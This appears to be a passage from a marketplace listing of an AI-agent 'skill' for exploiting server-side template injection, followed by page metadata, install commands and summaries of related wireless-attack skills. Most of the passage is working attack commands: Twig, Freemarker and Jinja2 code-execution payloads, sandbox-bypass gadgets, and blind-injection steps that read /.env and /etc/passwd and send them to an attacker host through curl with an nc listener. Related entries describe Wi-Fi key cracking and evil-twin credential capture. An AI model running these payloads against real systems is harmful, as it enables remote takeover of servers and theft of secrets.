Twig 3.x:\n# {{['id']|filter('system')}}\n# {{['id']|map('system')}}\ncurl -s \"https:\u002F\u002F\u003CTARGET>\u002Fpage?input={{['id']|filter('system')}}\" -o ssti_twig_rce.txt\n```\n\n**Multi-surface rendering rule (MANDATORY for stored-input apps).**\n\nWhen the target has CRUD endpoints (add\u002Fedit\u002Flist\u002Fsearch\u002Fdetail\u002Fexport), template injection often evaluates on ONLY ONE of the rendering surfaces — typically the detail\u002Fshow page or an admin\u002Fexport view — even when the same value is displayed as literal text on the list\u002Fsearch results. **Seeing `{{7*7}}` reflected literally on one page does NOT prove templates are inactive — it proves THAT particular surface is not template-rendered.**\n\nTest EVERY rendering surface before concluding SSTI is unavailable:\n\n```bash\n# 1. STORE the probe — submit {{7*7}} into a persisted field (name, description, comment, tag)\ncurl -s -X POST \"http:\u002F\u002F\u003CTARGET>\u002F\u003Cadd_endpoint>\" -d 'name={{7*7}}&description={{49+1}}'\nNEW_ID=\"\u003Cextract from redirect or list>\"\n\n# 2. PROBE each rendering surface — the one that evaluates wins\nfor path in \u002Flist \u002Fsearch?q={{7*7}} \u002Fdetail\u002F${NEW_ID} \u002Fedit\u002F${NEW_ID} \u002Fexport \u002Fadmin\u002F${RESOURCE} \u002Fapi\u002F${RESOURCE}\u002F${NEW_ID}; do\n  echo \"=== ${path} ===\"\n  curl -s \"http:\u002F\u002F\u003CTARGET>${path}\" -o \u002Ftmp\u002Frender_${path\u002F\u002F\\\u002F\u002F_}.txt\n  # 49\u002F50 → evaluated → THIS surface is the SSTI sink\n  grep -E \"^[^\u003C]*(49|50)([^0-9]|$)\" \u002Ftmp\u002Frender_${path\u002F\u002F\\\u002F\u002F_}.txt | head -3\ndone\n```\n\n**Twig sandbox is per-loader, not global.** A page that shows `Sandbox mode: Enabled` does NOT mean every Twig context is sandboxed. Stored-data rendering (typically `Twig\\Environment` instances initialized for content\u002Femail\u002FPDF) is commonly unsandboxed even when the index template is. Test each surface independently before dismissing SSTI.\n\n**Twig sandbox-bypass payloads** (when one specific endpoint IS sandboxed but RCE primitives like `system`\u002F`filter` are not whitelisted):\n\n```bash\n# Twig 1.x — register undefined filter callback to call arbitrary PHP function\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fpage?input={{_self.env.registerUndefinedFilterCallback(\"system\")}}{{_self.env.getFilter(\"id\")}}'\n# Twig 2.x\u002F3.x — use map\u002Ffilter with system\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fpage?input={{[\"id\"]|map(\"system\")|join}}'\n# Class-injection gadget (when filters blocked)\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fpage?input={{_self.env.setCache(\"ftp:\u002F\u002Fattacker\u002F\")}}{{_self.env.loadTemplate(\"backdoor\")}}'\n```\n\n**3-strike Twig pivot rule**: If 3 probes against the same field show stored-but-literal output (e.g. `{{7*7}}` appears as `{{7*7}}` not `49`), STOP iterating that field. The bypass is a different rendering surface OR a different field on the same surface — not a deeper payload on the same dead field.\n\n## Freemarker (Java)\n```bash\n# Confirm Freemarker\ncurl -s 'https:\u002F\u002F\u003CTARGET>\u002Fpage?input=${7*7}'\n\n# RCE payloads\n# \u003C#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"id\")}\n# ${\"freemarker.template.utility.Execute\"?new()(\"id\")}\ncurl -s 'https:\u002F\u002F\u003CTARGET>\u002Fpage?input=\u003C#assign+ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"id\")}' -o ssti_freemarker_rce.txt\n```\n\n## Blind SSTI (no direct reflection — \"Blind\" in challenge name)\n\nWhen the challenge name contains \"Blind\" or SSTI payloads produce no visible output change, the template is rendered server-side but results are not echoed. Use out-of-band or side-channel techniques:\n\n```bash\n# Time-based oracle (Jinja2) — confirms SSTI without reflection\n# If SLEEP(5) causes a 5s delay, SSTI is present\ncurl -s \"http:\u002F\u002F\u003CTARGET>\u002Fpage?input={{''.__class__.__mro__[1].__subclasses__()[\u003CN>](['sleep','5'],stdout=-1).communicate()}}\" --max-time 10 -w '\\nTime: %{time_total}s\\n' -o \u002Ftmp\u002Fssti_time.txt\n\n# Simpler time delay via Jinja2 config globals\ncurl -s \"http:\u002F\u002F\u003CTARGET>\u002Fpage?input={{config.__class__.__init__.__globals__['os'].system('sleep 5')}}\" --max-time 10 -w '\\nTime: %{time_total}s\\n'\n\n# Out-of-band: write sensitive file to a readable path, then fetch it\n# Step 1: exfiltrate target file to \u002Ftmp\u002Fout via RCE (replace \u002F.env with discovered path)\ncurl -s \"http:\u002F\u002F\u003CTARGET>\u002Fpage?input={{config.__class__.__init__.__globals__['os'].popen('cat \u002F.env > \u002Ftmp\u002Fenv_out').read()}}\"\n# Step 2: read via LFI or a file-serving endpoint if available\ncurl -s \"http:\u002F\u002F\u003CTARGET>\u002Fstatic\u002F..\u002Ftmp\u002Fenv_out\"\ncurl -s \"http:\u002F\u002F\u003CTARGET>\u002Fdownload?file=..\u002Ftmp\u002Fenv_out\"\n\n# Alternative: write to web root if writable\ncurl -s \"http:\u002F\u002F\u003CTARGET>\u002Fpage?input={{config.__class__.__init__.__globals__['os'].popen('cp \u002F.env \u002Fapp\u002Fstatic\u002Ff.txt').read()}}\"\ncurl -s \"http:\u002F\u002F\u003CTARGET>\u002Fstatic\u002Ff.txt\"\n```\n\n**Decision flow for blind SSTI:**\n1. Confirm time-delay oracle (1 curl, ≥5s response = SSTI confirmed)\n2. Attempt RCE + write sensitive file content to \u002Ftmp\u002Fout + read via static\u002Fdownload endpoint\n3. If no file-serving path: use DNS\u002FHTTP callback (`curl http:\u002F\u002F\u003CATTACKER>:PORT\u002F?f=$(cat \u002F.env | base64)`) — set up listener first with `nc -lvnp \u003CPORT> &`\n4. If sandbox blocks outbound: try writing to error logs, then trigger log read\n\n## Blind Jinja2 Sandbox Escape — Subclasses Gadget Chain\n\nWhen direct RCE payloads are sandboxed, enumerate subclasses to find a Popen-capable class:\n\n```bash\n# Step 1: enumerate all subclasses (save to file — output can be large)\ncurl -s \"http:\u002F\u002F\u003CTARGET>\u002Fpage?input={{''.__class__.__mro__[1].__subclasses__()}}\" \\\n  -o \u002Ftmp\u002Fsubclasses.txt\n# Count classes and find Popen\ngrep -o \"subprocess.Popen\\|\u003Cclass '\" \u002Ftmp\u002Fsubclasses.txt | wc -l\npython3 -c \"\nimport re, sys\ndata = open('\u002Ftmp\u002Fsubclasses.txt').read()\nclasses = re.findall(r\\\"\u003Cclass '([^']+)'\\\", data)\nfor i,c in enumerate(classes):\n    if 'Popen' in c or 'process' in c.lower():\n        print(i, c)\n\"\n\n# Step 2: use the index to call Popen (common indices: 200-280 in py3.10+, 132-200 in py3.8)\n# Try index 245 first, adjust based on Step 1\nINDEX=245\ncurl -s \"http:\u002F\u002F\u003CTARGET>\u002Fpage?input={{''.__class__.__mro__[1].__subclasses__()[$INDEX]('id',shell=True,stdout=-1).communicate()[0]}}\" \\\n  -o \u002Ftmp\u002Fssti_rce.txt\ngrep -v '^$' \u002Ftmp\u002Fssti_rce.txt | head -5\n```\n\n**If output channel is blocked** (blind SSTI, no reflection):\n```bash\n# Write to web-accessible path then fetch\ncurl -s \"http:\u002F\u002F\u003CTARGET>\u002Fpage?input={{''.__class__.__mro__[1].__subclasses__()[$INDEX]('cat \u002Fetc\u002Fpasswd > \u002Ftmp\u002Fout.txt',shell=True,stdout=-1).communicate()}}\"\ncurl -s \"http:\u002F\u002F\u003CTARGET>\u002Fstatic\u002F..\u002Ftmp\u002Fout.txt\"\n\n# Or OOB via HTTP callback — start listener first: nc -lvnp 9999 &\ncurl -s \"http:\u002F\u002F\u003CTARGET>\u002Fpage?input={{''.__class__.__mro__[1].__subclasses__()[$INDEX]('curl http:\u002F\u002F\u003CATTACKER>:9999\u002F?d=\\$(cat \u002Fetc\u002Fpasswd|base64 -w0)',shell=True,stdout=-1).communicate()}}\"\n```\n\n**Alternative globals-based RCE** (no subclass enumeration needed):\n```bash\n# Flask globals shortcut — works when request context is available\ncurl -s \"http:\u002F\u002F\u003CTARGET>\u002Fpage?input={{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}\"\ncurl -s \"http:\u002F\u002F\u003CTARGET>\u002Fpage?input={{cycler.__init__.__globals__.os.popen('id').read()}}\"\ncurl -s \"http:\u002F\u002F\u003CTARGET>\u002Fpage?input={{config.__class__.__init__.__globals__['os'].popen('id').read()}}\"\n```\n\n## Error-Status (5xx) Oracle for Blind SSTI\n\nWhen template output is suppressed but the server returns HTTP 500 on invalid template syntax, use error-status as a boolean oracle — no reflection required.\n\n```bash\nTARGET_URL=\"http:\u002F\u002F\u003CTARGET>\u002Fpage?input=\"\n\n# Calibration: confirm 500 on syntax error vs 200 on valid input\ncurl -s -o \u002Fdev\u002Fnull -w '%{http_code}' \"${TARGET_URL}{{invalid_syntax_xyz_$RANDOM}}\"   # expect 500\ncurl -s -o \u002Fdev\u002Fnull -w '%{http_code}' \"${TARGET_URL}hello\"                              # expect 200\n\n# Boolean extraction via arithmetic that only evaluates on true branch\n# If condition is TRUE  → valid template → 200\n# If condition is FALSE → raises TemplateSyntaxError \u002F division-by-zero → 500\nfor pos in $(seq 1 32); do\n  for ascii in $(seq 32 126); do\n    code=$(curl -s -o \u002Fdev\u002Fnull -w '%{http_code}' \\\n      \"${TARGET_URL}{% if (secret[${pos}-1]|int)==${ascii} %}ok{% endif %}\")\n    if [ \"$code\" = \"200\" ]; then\n      printf \"\\\\x$(printf '%02x' $ascii)\"\n      break\n    fi\n  done\ndone\necho  # newline after extracted string\n```\n\n**Decision rule:**\n1. Confirm calibration (syntax error → 500, valid → 200) with 2 curl calls.\n2. If confirmed, use the 5xx oracle loop above — do NOT fall back to time-delay probing unless the server swallows 500s.\n3. If both 200 and 500 are returned for all inputs (WAF normalizing), pivot to DNS\u002FHTTP out-of-band exfiltration.\n\n## Engine Fingerprinting Table\n\n| Probe | Result | Engine |\n|-------|--------|--------|\n| `{{7*7}}` | `49` | Jinja2 or Twig |\n| `{{7*'7'}}` | `7777777` | Jinja2 |\n| `{{7*'7'}}` | `49` | Twig |\n| `${7*7}` | `49` | Freemarker or EL |\n| `#{7*7}` | `49` | Thymeleaf or Ruby ERB |\n| `\u003C%= 7*7 %>` | `49` | ERB (Ruby) |\n| `@(1+1)` | `2` | Razor (.NET) |\n",{"name":5,"metadata":24,"description":7},{"subdomain":25,"when_to_use":26,"mitre_attack":27},"web-exploitation","ssti, template injection, server side template, jinja2, twig, freemarker, erb, razor, thymeleaf, template engine, {{7*7}}, ${7*7}, mro chain, template rce, flask template, django template, pebble, velocity, smarty, mako","T1190","main","42b918525fb79065e730da3da997bffb33fcd414","packages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fweb\u002Fssti",0,"https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad","https:\u002F\u002Fgithub.com\u002F7ShIkI3","2026-07-22 19:02:27",{"source":8,"skillName":5,"commands":36,"prompt":46,"zipAvailable":47},[37,40,43],{"tool":38,"command":39},"npx","npx skills add 7ShIkI3\u002FDecepticon-x-DarkTriad --skill exploit-ssti",{"tool":41,"command":42},"bunx","bunx skills add 7ShIkI3\u002FDecepticon-x-DarkTriad --skill exploit-ssti",{"tool":44,"command":45},"pnpm","pnpm dlx skills add 7ShIkI3\u002FDecepticon-x-DarkTriad --skill exploit-ssti","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fweb\u002Fssti\u002FSKILL.md",true,[],[50,57,64,71,78,85],{"skillNo":51,"name":52,"nameZh":6,"description":53,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":54,"categories":55,"keywords":56,"publishedAt":19},"01M798TNHEBA4Y67TJJ7W0KBDD","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":58,"name":59,"nameZh":6,"description":60,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":61,"categories":62,"keywords":63,"publishedAt":19},"01M798TH79VR8XM7AAMG0ZKSXX","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":65,"name":66,"nameZh":6,"description":67,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":68,"categories":69,"keywords":70,"publishedAt":19},"01M798TD0E10ZHQN5X362M4HG9","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":72,"name":73,"nameZh":6,"description":74,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":75,"categories":76,"keywords":77,"publishedAt":19},"01M798T7HFR3NB9WJTK1FESVF9","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":79,"name":80,"nameZh":6,"description":81,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":82,"categories":83,"keywords":84,"publishedAt":19},"01M798T38B4SV0T87VQK56KPHC","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":86,"name":87,"nameZh":6,"description":88,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":89,"categories":90,"keywords":91,"publishedAt":19},"01M798SXTNF0RP1DXKQEWFVQ9H","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]